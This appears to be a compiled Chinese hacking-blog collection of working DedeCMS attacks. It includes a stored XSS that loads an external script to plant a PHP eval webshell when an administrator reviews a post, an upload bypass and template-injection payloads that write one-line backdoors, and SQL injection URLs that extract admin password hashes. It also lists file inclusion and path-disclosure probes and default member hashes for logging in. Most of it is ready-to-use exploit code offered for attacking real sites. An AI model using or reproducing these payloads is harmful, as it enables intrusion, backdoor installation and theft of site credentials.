作者:haris
漏洞原因:由于编辑器过滤不严,将导致恶意脚本运行
目前只是测试过5.3到5.7版本。其他更早的版本大家就自由发挥吧。
下面说说利用方法。
条件有3个:
1.开启注册
2.开启投稿
3.管理员很勤劳,会去审核文章,最鸡肋的地方了
注册会员—-发表文章
内容填写:
<style>@im\port’\http://xxx.com/xss.css’;</style>
新建XSS.CXX
body{
background-image:url('javascript:document.write("")')
}
新建xss.js
内容
var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} else if(window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i try {
request = new ActiveXObject(versions[i]);
} catch(e) {}
}
}
xmlhttp=request;
function getFolder( url ){
obj = url.split('/')
return obj[obj.length-2]
}
oUrl = top.location.href;
u = getFolder(oUrl);
add_admin();
function add_admin(){
var url= "/"+u+"/sys_sql_query.php";
var params ="fmdo=edit&backurl=&activepath=%2Fdata&filename=haris.php&str=%3C%3Fphp+eval%28%24_POST%5Bcmd%5D%29%3F%3E&B1=++%E4%BF%9D+%E5%AD%98++";
xmlhttp.open("POST", url, true);
xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("Content-length", params.length);
xmlhttp.setRequestHeader("Connection", "Keep-Alive");
xmlhttp.send(params);
}
当管理员审核这篇文章的时候,将自动在data目录生成一句话haris.php。密码cmd
http://www.3hack.com/page/2
t00ls
有同学提出说不成功。刚刚看了下代码,有个地方需要更正一下。
把 sys_sql_query.php 修改成 file_manage_control.php
不存在域的问题。 |
2011, January 7, 11:53 AM
漏洞出现在
index.php
if($do == 'upload'){
if($_POST['formsub']){
$file = $_FILES['upload'];
if(!$file['error']){
if(strpos($file['type'], 'image') === 0){
$hash = $_POST['i'].'.jpg'; //若是IIS,则可此处可自行构造IIS畸形文件扩展名得到一个webshell
if(move_uploaded_file($file['tmp_name'], "./attach/$hash")){
thumb("./attach/$hash");
js_reload();
} else{
js_alert('保存失败!');
}
} else{
js_alert('不支持的格式!');
}
} else{
js_alert('上传出错啦!');
}
}
}
本地构造表单
<form action="http://XXX.com/user/index.php?do=upload" method="post" enctype="multipart/form-data" name="form_post" id="form_post" target="ajax">
<input type="file" name="upload">
<input type="hidden" name="i" value="1.php;"> 这里可以改为1.asp;或者别的类型的文件
<input type="hidden" name="formsub" value="true">
<input name="submit" type="submit" value="上传">
<iframe name="ajax" id="ajax" style="display:none"></iframe>
</form>
提交一个包含"gif89a"文件头的木马(大马),会在/attach目录下生成一个1.php;.jpg的webshell。如果IE显示红X,请换火狐
利用:搜索关键词“专注于收集、发布网友喜欢的图片”。这套相册大部分集成于dedecms的图片类网站,目录为http://www.xxx.com/user
2010, September 24, 2:29 PM
RT INTO `dede_member` (`mid`, `mtype`, `userid`,
'个人', 'tianya', 'fcea920f7412b5da7be0cf42b8c93759',
'个人', 'wind', 'e10adc3949ba59abbe56e057f20f883e',
'个人', 'like', 'e10adc3949ba59abbe56e057f20f883e', '
'个人', 'yuejie', 'e10adc3949ba59abbe56e057f20f883e',
'个人', '沙羡', 'e10adc3949ba59abbe56e057f20f883e',
'个人', '尐湶細蓅', 'e10adc3949ba59abbe56e057f20f883e'
==
关闭注册时可以试试这几个用户
简单备忘 | 评论:0
| Trackbacks:0
| 阅读:12792
2010, September 23, 8:29 AM
作者:toby57
博客:http://hi.baidu.com/toby57
作者潜伏于论坛多年,不发帖,只能代为转发了。PHP牛人...
因为鸡肋,所以发出来。
说下利用方法:注册会员,上传软件:本地地址中填入a{/dede:link}{dede:toby57 name\="']=0;phpinfo();//"}x{/dede:toby57},发表后查看或修改即可执行。
生成的解析文件内容如下:
成功效果
漏洞鸡肋之处在于经历上次的0day冲击后,很多站点已经关闭了会员功能或者直接删除了member目录,并且没有多少站会有软件栏目的,嗯 ,所以搞搞 下载站之类的差不多了。
---a{/dede:link}{dede:toby57 name\="']=0;fputs(fopen(base64_decode(eC5waHA),w),base64_decode(PD9waHAgZXZhbCgkX1BPU1RbeGlhb10pPz5iYWlkdQ));//"}x{/dede:toby57}
生成x.php 密码:xiao
访问/data/admin/ver.txt
附加历史更新:
20100708是最新版本5.6
20100324是5.5
20100429之后都是5.6版本,对应的日期为补丁的日期,可以知道什么漏洞没补
5.6版本更新记录:
2010-07-08
1.修复头像跨目录删除的bug
2.UTF-8版本支付错误;
2010-06-23
1.修复会员中心收藏夹错误
2.修复十八号升级的截取错误
3.修正远程文件包含的错误
4.修复发表文章同时更新主页错误
2010-06-18
1.加强上传过滤
2.修复图集提取第一张图片为缩略图错误
3.修复单表模型统计次数无效的问题
6.修复搜索存在错误
7.修复会员中心收藏夹错误
8.SQL标签为空时的错误
9. 修复多媒体文件类型为空时,提示上传软件类型错误
2010-05-26
1.删除多余的菜单项
2.修复复制文件模型时报错
3.修复复制图片模型采用新图片模板出错
4.修复截取函数造成的文章标题颜色错误等等问题
5.修复description为空时的错误以及可能发生分页错误
6.修复会员登陆后跳转错误
7.修复可能发生分页错误
8.修复会员中心首页好友显示错误
9.修复后台设置开启系统验证码注册会员无效
10.修复删除搜索关键词的时候出乱码
11.修复不能更新sql的问题
12.修复栏目栏目内容无法保存的错误
13.修复tag点击数量不增加的错误
14.修复文件报错
2010-05-15
1.更新支付接口;
2.修复升级器的一个小错误;
3.修复arclist]缓存标记在频道页hash码重复的问题;
4.修复若干错误;
2010-04-29
1.修复会员中心修改个人资料错误
2.优化系统部分性能
3.修复分组为空时的错误
4.修复会员头像显示错误
5.修复会员头像显示错误
6.修复会员个人资料中生日显示错误
7.修复会员个人资料中生日显示错误
8.修复删除分组时好友不显示
9.修复会员头像显示错误
10.修复会员头像显示错误
另外补充判断是dedecms的方法:
访问robots.txt
User-agent: *
Disallow: /plus/ad_js.php
Disallow: /plus/advancedsearch.php
Disallow: /plus/car.php
Disallow: /plus/carbuyaction.php
Disallow: /plus/shops_buyaction.php
Disallow: /plus/erraddsave.php
Disallow: /plus/posttocar.php
Disallow: /plus/disdls.php
Disallow: /plus/feedback_js.php
Disallow: /plus/mytag_js.php
Disallow: /plus/rss.php
Disallow: /plus/search.php
Disallow: /plus/recommend.php
Disallow: /plus/stow.php
Disallow: /plus/count.php
Disallow: /include
Disallow: /templets
网文集萃 | 评论:0
| Trackbacks:0
| 阅读:16172
author:toby57
team:www.wolvez.org
此0day已经出现了相当长一段时间,今天配合小龙同学提供的日志看了下代码,了解了漏洞成因。大多同学对成因不感兴趣,这儿就只公布利用方法。
Gif89a{dede:field name='toby57' runphp='yes'}
phpinfo();
{/dede:field}
保存为1.gif
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">
<input type="hidden" name="aid" value="7" />
<input type="hidden" name="mediatype" value="1" />
<input type="text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" /></br>
<input type="hidden" name="dopost" value="save" />
<input name="title" type="hidden" id="title" value="1.jpg" class="intxt"/>
<input name="addonfile" type="file" id="addonfile"/>
<button class="button2" type="submit" >更改</button>
</form>
构造如上表单,上传后图片保存为/uploads/userup/3/1.gif
发表文章,然后构造修改表单如下:
<form action="http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1282049150" />
<input name="title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>
<input type="text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>Test</option>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>aa</option></select>
<textarea name="description" id="description">aaaaaaaaaaaaa</textarea>
<input type='hidden' name='dede_addonfields' value="templet">
<input type='hidden' name='templet' value="../uploads/userup/3/1.gif">
<input type="hidden" id="body" name="body" value="aaaa" style="display:none" />
<button class="button2" type="submit">提交</button>
红色部分都 是需要注意的地方,得根据实际情况进行对应修改。
修改完成后查看文章即可。
漏洞已经被公开,这里也公布了
漏洞名称:
DEDE 暴文件源码AND获得后门漏洞
发布日期:
2009-5-19
受影响系统:
DedecmsV53-UTF8-Final
安全综述:
织梦内容管理系统(DedeCms) 以简单、实用、开源而闻名,是国内最知名的PHP开源网站管理系统,也是使用户最多的PHP类CMS系统,在经历了二年多的发展,目前的版本无论在功能,还是是易用性方面,都有了长足的发展,DedeCms免费版的主要目标用户锁定在个人站长,功能更专注于个人网站或中小型门户的构建,当然也不泛有企业用户和学校等在使用本系统,据不完全统计,目前正在运行的使用DedeCms开发的网站已经超过一万个。
漏洞相关文件HASH
5cdd36584233ab3e3926515935dac2ef article_edit.php
c2ee32d536bfec5b67b3ab3124ab47d6 article_add.php
漏洞描述:
article_edit.php
在处理用户自定义数据的时候
/*------------------------------
function _SaveArticle(){ }
------------------------------*/
else if($dopost=='save')
{
include(DEDEMEMBER.'/inc/archives_check.php');
//分析处理附加表数据
$inadd_f = $inadd_v = '';
if(!empty($dede_addonfields)) //注意这里
{
$addonfields = explode(';',$dede_addonfields);
$inadd_f = '';
$inadd_v = '';
if(is_array($addonfields))
{
foreach($addonfields as $v)
{
if($v=='')
{
continue;
}
$vs = explode(',',$v);
if(!isset(${$vs[0]}))
{
${$vs[0]} = '';
}
${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],0);
$inadd_f .= ','.$vs[0];
$inadd_v .= " ,'".${$vs[0]}."' ";
}
}
}
。。。。。。
$upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' ";
if(!$dsql->ExecuteNoneQuery($upQuery))
{
ShowMsg("更新附加表 `$addtable` 时出错,请联系管理员!","javascript:;");
exit();
}
从上面可以看出 变量$dede_addonfields 没有进行严格控制(这是因为自定义模型所造成),没有限制用户所提交的信息,造成SQL注入漏洞。结合附加表数据自定义模板,造成暴任意文件源码漏洞。上传图片模板,可执行任意代码。
测试方法:
首先要有发表文章的权限(不需要审核通过,只要有发表和预览权限)
再修改内容
在FF的FireBUG 下找到隐藏的dede_addonfields,关设置为显示,并且增加一个表单变量,templet
并设置变量为
提交。
现在 查看文章
再查看源码
扩展利用:
可以以附件形式上传任意设计的模板文件,在服务器解释执行。
解决方案:
改变附加表数据处理方式,或验证hash
GetShell
发表文章时上传图片如1.jpg
内容为:
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.' php'."".'eval($_POST[guji])'." ".">");
@fclose($fp);
{/dede:name}
然后转到附件管理那里 uploads.php
修改附件,同时更改oldurl 的值为 1.jpg(只改后面文件名,通过friebug更改)
提交后会在用户上传目录生成一个 1.jpg 的文件
然后像上面利用一样,templet 里填写些图片的路径 ../uploads/userup/用户ID/1.jpg
保存后点查看,就能在当前目录下生成 1.php 的一句话木马。
=======================
漏洞利用:
1.上传一个模板文件:
注册一个用户,进入用户管理后台,发表一篇文章,上传一个图片,然后在附件管理里,把图片替换为我们精心构造的模板,比如图片名称是:
uploads/userup/2/12OMX04-15A.jpg
模板内容是(如果限制图片格式,加gif89a):
{dede:name runphp='yes'}
$fp = @fopen("1.php", 'a');
@fwrite($fp, '<'.'?php'."\r\n\r\n".'eval($_POST[cmd])'."\r\n\r\n?".">\r\n");
@fclose($fp);
{/dede:name}
2.修改刚刚发表的文章,查看源文件,构造一个表单:
<form class="mTB10 mL10 mR10" name="addcontent" id="addcontent" action="http://127.0.0.1/dede/member/article_edit.php" method="post" enctype="multipart/form-data" onsubmit="return checkSubmit();">
<input type="hidden" name="dopost" value="save" />
<input type="hidden" name="aid" value="2" />
<input type="hidden" name="idhash" value="f5f682c8d76f74e810f268fbc97ddf86" />
<input type="hidden" name="channelid" value="1" />
<input type="hidden" name="oldlitpic" value="" />
<input type="hidden" name="sortrank" value="1275972263" />
<div id="mainCp">
<h3 class="meTitle"><strong>修改文章</strong></h3>
<div class="postForm">
<label>标题:</label>
<input name="title" type="text" id="title" value="11233ewsad" maxlength="100" class="intxt"/>
<label>标签TAG:</label>
<input name="tags" type="text" id="tags" value="hahah,test" maxlength="100" class="intxt"/>(用逗号分开)
<label>作者:</label>
<input type="text" name="writer" id="writer" value="test" maxlength="100" class="intxt" style="width:219px"/>
<label>隶属栏目:</label>
<select name='typeid' size='1'>
<option value='1' class='option3' selected=''>测试栏目</option>
</select> <span style="color:#F00">*</span>(不能选择带颜色的分类)
<label>我的分类:</label>
<select name='mtypesid' size='1'>
<option value='0' selected>请选择分类...</option>
<option value='1' class='option3' selected>hahahha</option>
</select>
<label>信息摘要:</label>
<textarea name="description" id="description">1111111</textarea>
(内容的简要说明)
<label>缩略图:</label>
<input name="litpic" type="file" id="litpic" onchange="SeePicNew('divpicview',this);" maxlength="100" class="intxt"/>
<input type='text' name='templet'
value="../ uploads/userup/2/12OMX04-15A.jpg">
<input type='text' name='dede_addonfields'
value="templet,htmltext;">(这里构造)
</div>
<!-- 表单操作区域 -->
<h3 class="meTitle">详细内容</h3>
<div class="contentShow postForm">
<input type="hidden" id="body" name="body" value="<div><a href="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" target="_blank"><img border="0" alt="" src="http://127.0.0.1/dede/uploads/userup/2/12OMX04-15A.jpg" width="1010" height="456" /></a></div> <p>&lt;?phpinfo()?&gt;1111111</p>" style="display:none" /><input type="hidden" id="body___Config" value="FullPage=false" style="display:none" /><iframe id="body___Frame" src="/dede/include/FCKeditor/editor/fckeditor.html?InstanceName=body&Toolbar=Member" width="100%" height="350" frameborder="0" scrolling="no"></iframe>
<label>验证码:</label>
<input name="vdcode" type="text" id="vdcode" maxlength="100" class="intxt" style='width:50px;text-transform:uppercase;' />
<img src="http://127.0.0.1/dede/include/vdimgck.php" alt="看不清?点击更换" align="absmiddle" style="cursor:pointer" onclick="this.src=this.src+'?'" />
<button class="button2" type="submit">提交</button>
<button class="button2 ml10" type="reset" onclick="location.reload();">重置</button>
</div>
</div>
</form>
提交,提示修改成功,则我们已经成功修改模板路径。
3.访问修改的文章:
假设刚刚修改的文章的aid为2,则我们只需要访问:
http://127.0.0.1/dede/plus/view.php?aid=2
即可以在plus目录下生成小马:1.php
注:
漏洞很早就存在了,民间隐藏的扫地僧估计也很早就看到了,但一直只是地下潜伏或者地下使用,直到上个月初有人找我分析IIS日志的时候,我才看到,还着实分析了一会代码。因为漏洞危害比较大,所以一直没敢公布或者将细节告诉谁,只在hi群跟黑哥与flyh4t说了下,在t00ls群跟小明说了下,今天看到toby57(http://hi.baidu.com/toby57/blog/item/686b70ece294cfdc2f2e2183.html)与小明(http://hi.baidu.com/mr_xhming/blog/item/5e1368b2dea0bbaad9335ab2.html)公布了,于是我也只好把一个月前的文章发出来了~~~
EXP:
uploads/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2%29%29%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT%20CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23%27][0]=1
利用环境:
GPC off
有updatexml函数
来源:tools
uploads/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2%29%29%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT%20CONCAT%280x5b,uname,0x3a,MID%28pwd,4,16%29,0x5d%29%20FROM%20dede_admin%29,1%29%23%27][0]=1
有的可以成功,有的不可以成功?不明白。。。
By:俺是农村的
漏洞文件:plus/carbuyaction.php
<?php
require_once (dirname(__FILE__) . "/../include/common.inc.php");
define('_PLUS_TPL_', DEDEROOT.'/templets/plus');
require_once DEDEINC.'/dedetemplate.class.php';
require_once DEDEINC.'/shopcar.class.php';
require_once DEDEINC.'/memberlogin.class.php';
if($cfg_mb_open=='N')
{
ShowMsg("系统关闭了会员功能,因此你无法访问此页面!","javascript:;");
exit();
}
$cfg_ml = new MemberLogin();
if(!isset($dopost) || empty($dopost)){ //只要$dopost不为空就行,By:俺是农村的。
...
}elseif($dopost == 'return'){
require_once DEDEINC.'/payment/'.$code.'.php'; //变量$code未初始化,By:俺是农村的。
$pay = new $code;
$msg=$pay->respond();
ShowMsg($msg,"javascript:;",0,3000);
exit();
}
?>
http://www.xxx.com/plus/carbuyaction.php?dopost=return&code=../../
作者:俺是农村的
QQ:332876777
plus/advancedsearch.php
$sql 变量未初始化。导致鸡助注入。
if($mid == 0) //必须绕过,By:俺是农村的。
{
showmsg('参数不正确,高级自定义搜索必须指定模型id', 'javascript');
exit();
}
$query = "select maintable, mainfields, addontable, addonfields, template from #@__advancedsearch where mid='$mid'";
$searchinfo = $dsql->GetOne($query);
if(!is_array($searchinfo)) //囧啊,绕过有难度,By:俺是农村的。
{
showmsg('自定义搜索模型不存在','-1'); By:小翔
exit();
}
$template = $searchinfo['template'] != '' ? $searchinfo['template'] : 'advancedsearch.htm';
if(empty($sql)) //人品问题,成功绕过! QQ:332876777
{
..............
}
else
{
$sql = urldecode($sql);
$query = $sql;
}
$sql = urlencode($sql);
$dlist = new DataListCP();
$dlist->pageSize = 20;
$dlist->SetParameter("sql", $sql);
$dlist->SetParameter("mid", $mid);
................
$dlist->SetTemplate($templatefile);
$dlist->SetSource($query);
.............
$dlist->Display();
plus/advancedsearch.php?mid=1&sql=SELECT%20*%20FROM%20`%23@__admin`
dede 的密码是32位MD5减去头5位,减去尾七位,得到20 MD5密码,方法是,前减3后减1,得到16位MD5。 By:邻居小男人
漏洞描述:
dedecms 5.5程序泄露网站路径信息。
测试地址:
http://www.xxx.com/plus/paycenter/alipay/return_url.php
http://www.xxx.com/plus/paycenter/cbpayment/autoreceive.php
http://www.xxx.com/plus/paycenter/nps/config_pay_nps.php
http://www.xxx.com/plus/task/dede-maketimehtml.php
http://www.xxx.com/plus/task/dede-optimize-table.php
http://www.xxx.com/plus/task/dede-upcache.php
1. /phpmyadmin/libraries/lect_lang.lib.php
2./phpMyAdmin/index.php?lang[]=1
3. /phpMyAdmin/phpinfo.php
4. load_file()
5./phpmyadmin/themes/darkblue_orange/layout.inc.php
6./phpmyadmin/libraries/select_lang.lib.php
7./phpmyadmin/libraries/lect_lang.lib.php
8./phpmyadmin/libraries/mcrypt.lib.php